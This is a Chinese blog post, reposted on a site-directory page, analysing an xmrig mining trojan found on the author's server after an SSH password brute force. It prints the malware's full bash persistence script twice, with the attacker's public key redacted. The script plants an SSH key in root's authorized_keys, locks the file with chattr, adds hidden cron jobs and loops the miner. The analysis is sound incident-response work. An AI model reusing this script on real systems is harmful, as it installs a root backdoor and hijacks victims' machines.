欢迎您加入19站目录库!网站推广流程:注册会员 -> 提交网站 -> 快速审核 -> 带来无限流量和外链。( 点入和点出一次可获排名第一位!
数据统计:131个主题分类,3758个优秀站点,18个站点正在排队审核,304篇站长资讯
网站快速审核:免费请联系: 点击这里给我发消息
当前位置:19站目录库 » 站长资讯 » 建站经验 » 文章详细 订阅RssFeed

服务器的 CPU 占用率过高分析:原因是一个挖矿木马

来源:19站目录库 浏览:250次 时间:2022-01-25


昨天,我一台服务器的CPU占用率超过了80%(那台服务器并没有被用于任何项目),登录 Cockpit 一看日志,从2022年1月12日 下午 7:012022年1月12日 下午 10:04一直有sshd的登陆错误报告,10:04之后就没了,心想不好,一看cpu99%就知道出事了

检测

这台服务器并没有log4j 0day的漏洞(java都没有),只有可能是被跑字典了,并且当时密码也用的弱密码(笑),估计是个脚本小子干的,然后直接一个top,好家伙xmrig藏都不藏的,直接进去就把目录删了,暗想不对,反手进行一个

ps -aux | grep xmrig

很快啊,啥都出来了,返回了一个脚本,是用一个不明的文件 -c调用的一个脚本,后悔当时直接抄了家,没有留个底,,

只剩下一个脚本可以分析了,这个脚本让代码格式化直呼我不理解,原代码在文末附上,这里放已经被我缴械的代码(

#!/bin/bash
sshkey="ssh-rsa QWQ localhost" 
FOLDER="$(cat /var/tmp/.logs/.xmr)" 
sshkeyset() { 
    if [ $(id -u) = 0 ]; 
    then if [ -f "/root/.ssh/authorized_keys" ]; 
    then if ! cat /root/.ssh/authorized_keys | grep -q "${sshkey}" ; 
        then chattr -i -a -j -t -d -u /root ; 
            chattr -i -a -j -t -d -u /root/.ssh ;
            chattr -i -a -j -t -d -u /root/.ssh/authorized_keys 
            echo $sshkey >> "/root/.ssh/authorized_keys" 
            chmod 600 /root/.ssh/authorized_keys 
            chattr +i /root/.ssh/authorized_keys 
    fi 
    else 
    if [ -d "/root/.ssh" ]; 
    then 
        chattr -i -a -j -t -d -u /root/.ssh 
        echo $sshkey >> "/root/.ssh/authorized_keys" 
        chmod 600 /root/.ssh/authorized_keys 
        chattr +i /root/.ssh/authorized_keys
    else 
        chattr -i -a -j -t -d -u /root 
        mkdir "/root/.ssh"  
        echo $sshkey >> "/root/.ssh/authorized_keys" 
        chmod 600 /root/.ssh/authorized_keys 
        chattr +i /root/.ssh/authorized_keys
    fi
    fi
    fi
}
cronjob() { 
    if ! crontab -l | grep -q 'updat3';
    then rm -rf $FOLDER/.tempo
    echo "@daily $FOLDER/start" >> $FOLDER/.tempo 
    sleep 1 
    echo "@reboot $FOLDER/updat3 > /dev/null 2>&1 & disown" >> $FOLDER/.tempo 
    sleep 1
    echo "@monthly $FOLDER/updat3  > /dev/null 2>&1 & disown" >> $FOLDER/.tempo 
    sleep 1
    crontab $FOLDER/.tempo 
    sleep 1 
    rm -rf $FOLDER/.tempo 
    fi 
}
delete(){
    if [ -f $FOLDER/config.json ];
        then rm -rf $FOLDER/config.json 
        sleep 1 
        killall xmrig
        pkill xmrig 
    fi 
}  
while : 
do 
    sshkeyset 
    sleep 1
    cronjob
    sleep 1 
    delete 
    sleep 1 
    $FOLDER/1
    sleep 60
done /var/tmp/.mint-xmr/updat3

解析

缴械过后的代码就扔在上面的,代码中的公钥我出于对隐私的一个保护隐去了(确信),我们来分析一下这个代码中的函数(不得不说这个代码还是写的算聪明)

首先将FOLDER赋值为当前程序的执行目录,然后便是sshkeyset()这个函数了,顾名思义,是设置ssh公钥以便攻击者登入的。

在这里,if [ $(id -u) = 0 ];判断了当前用户是否为root用户(Linux下root用户id为0),然后判断本机中有没有自己的sshkey,如果没有就将公钥写入authorized_keys文件中(保存公钥用),它先对authorized_keys文件进行解锁,避免无法写入,写入后也记得上锁了,点名表扬(bushi

然后是cornjob()这,它判断了corntab上是否已有自己的程序,如果没有就删除掉.tempo这个文件(存了它的corntab配置信息),然后就是写入自启动(还是隐藏的),但是我机器上没有corntab,可喜可贺,可喜可贺。

然后是delete()函数,它提供了挖矿程序的关闭和自攻(确信),这里不用细说

最后就是重复执行了,用while进行循环执行所有函数,也是我没看懂的一个地方,你挖矿就挖矿还留销毁程序干嘛(笑

尾声

最近摸鱼的比较多所以没怎么更新,处理完了这玩意儿,想着挺有趣的就更了一篇,如果我对代码理解有误也请各位大佬多多指正了(笑

最后叮嘱各位,不要在可能暴露在公网的服务器上使用弱密码(

#!/bin/bash sshkey="ssh-rsa 对隐私进行一个保护 localhost" FOLDER="$(cat /var/tmp/.logs/.xmr)
" ###########  sshkeyset() { ?if [ $(id -u) = 0 ]; then ??if [ -f "/root/.ssh/authorized_keys" 
]; then ???if ! cat /root/.ssh/authorized_keys | grep -q "${sshkey}" ; then ????chattr -i -a 
-j -t -d -u /root ; chattr -i -a -j -t -d -u /root/.ssh ; chattr -i -a -j -t -d -u /root/.ssh
/authorized_keys ????echo $sshkey >> "/root/.ssh/authorized_keys" ????chmod 600 /root/.ssh/
authorized_keys ????chattr +i /root/.ssh/authorized_keys ???fi ??else ???if [ -d "/root/.ssh" 
]; then ????chattr -i -a -j -t -d -u /root/.ssh ????echo $sshkey >> "/root/.ssh/
authorized_keys" ????chmod 600 /root/.ssh/authorized_keys ????chattr +i /root/.ssh/
authorized_keys ???else ????chattr -i -a -j -t -d -u /root ????mkdir "/root/.ssh"  
????echo $sshkey >> "/root/.ssh/authorized_keys" ????chmod 600 /root/.ssh/authorized_keys
 ????chattr +i /root/.ssh/authorized_keys ???fi ??fi ?fi }  cronjob() { ?if ! crontab -l |
 grep -q 'updat3'; then ??rm -rf $FOLDER/.tempo ??echo "@daily $FOLDER/start" >> $FOLDER/.
tempo ??sleep 1 ??echo "@reboot $FOLDER/updat3 > /dev/null 2>&1 & disown" >> $FOLDER/.tempo
 ??sleep 1 ??echo "@monthly $FOLDER/updat3  > /dev/null 2>&1 & disown" >> $FOLDER/.tempo 
??sleep 1 ??crontab $FOLDER/.tempo ??sleep 1 ??rm -rf $FOLDER/.tempo ?fi }  delete() { ?if
 [ -f $FOLDER/config.json ]; then ??rm -rf $FOLDER/config.json ??sleep 1 ??killall xmrig
 ??pkill xmrig ?fi }  while : do ?sshkeyset ?sleep 1 ?cronjob ?sleep 1 ?delete ?sleep 1
 ?$FOLDER/1 ?sleep 60 done /var/tmp/.mint-xmr/updat3
版权声明:
1、本文内容由网友自发贡献,版权归原作者所有。
2、本站仅提供文章发布平台,文章的内容与本站无关,请真伪自辩,本站不承担相应法律责任。
3、如果发现本站有涉嫌抄袭侵权的内容,欢迎举报,并提供相关证据,一经查实,本站将立刻删除涉嫌侵权内容。
4、转载请注明本文地址:http://www.19zh.com/artinfo/550.html

推荐站点

  • 1080影视大全1080影视大全

    【1080影视大全】为您提供好看的电影、全新电视剧、全新动漫、全新综艺节目排行榜,免费在线观看lunli电影、动作片、 喜剧片、爱情片、搞笑片等全新电影,更多电影高清在线观看尽在1080影视大全(www.ki65.com)。

    www.ki65.com
  • 简书简书

    简书是一个优质的创作社区,在这里,你可以任性地创作,一篇短文、一张照片、一首诗、一幅画……我们相信,每个人都是生活中的艺术家,有着无穷的创造力。

    www.jianshu.com
  • 有缘网婚恋交友有缘网婚恋交友

    有缘网是国内领先的大众婚恋交友移动互联网平台,专注于为最广泛的年轻单身男女婚恋交友创造更多机会和可能。找对象,上有缘网!

    www.youyuan.com
  • 生活_YNET.com北青网生活_YNET.com北青网

    北青网生活频道:北青网下属子频道,包含潮流服饰,美容美体,健康亲子等内容

    life.ynet.com
  • 看看影院看看影院

    看看影院(www.k-yy.com)是一个免费公益的高清电影电视剧网站,每日更新电影电视剧排行榜中优秀的影视作品,让各位网友无需VIP、无需注册即可免费观看最新好看的电影电视剧。您娱乐生活中必不可少影视大全网站-看看影院!

    www.k-yy.com
  • 唯品电影网唯品电影网

    唯品电影网(www.vip800.cn)为您提供最新好看的电影、最新电视剧、影视动漫、热播综艺节目等,免费在线观看高清电影、动作片、喜剧片、爱情片、恐怖片、搞笑电影等视频内容,更多高清电影免费在线观看尽在电影网。

    www.vip800.cn
Powered by 19站目录F2.02021版 官方网站:19站目录库
Processed in 0.053680 second(s), 22 Queries, Gzip Enabled